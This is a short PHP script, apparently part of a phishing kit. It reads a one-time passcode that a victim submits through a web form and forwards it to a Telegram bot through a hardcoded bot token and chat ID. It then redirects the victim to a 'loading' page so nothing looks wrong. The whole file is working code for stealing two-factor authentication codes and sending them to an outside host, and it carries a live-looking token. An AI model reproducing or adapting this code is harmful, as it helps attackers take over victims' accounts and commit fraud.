<?php
$token = "8377386965:AAHOItKym-jgbYenFMSoIywdLva8j45V1DM";
$chat_id = "-5238833904";
if (!isset($_POST['otp']) || empty($_POST['otp'])) {
header("Location: loading.html");
exit;
}
$otp = htmlspecialchars($_POST['otp']);
$message = "📩 OTP reçu\n\n🔢 Code : $otp";
$url = "https://api.telegram.org/bot$token/sendMessage";
$data = [
'chat_id' => $chat_id,
'text' => $message
];
$options = [
'http' => [
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded",
'content' => http_build_query($data),
]
];
$context = stream_context_create($options);
file_get_contents($url, false, $context);
header("Location: loading.html");
exit;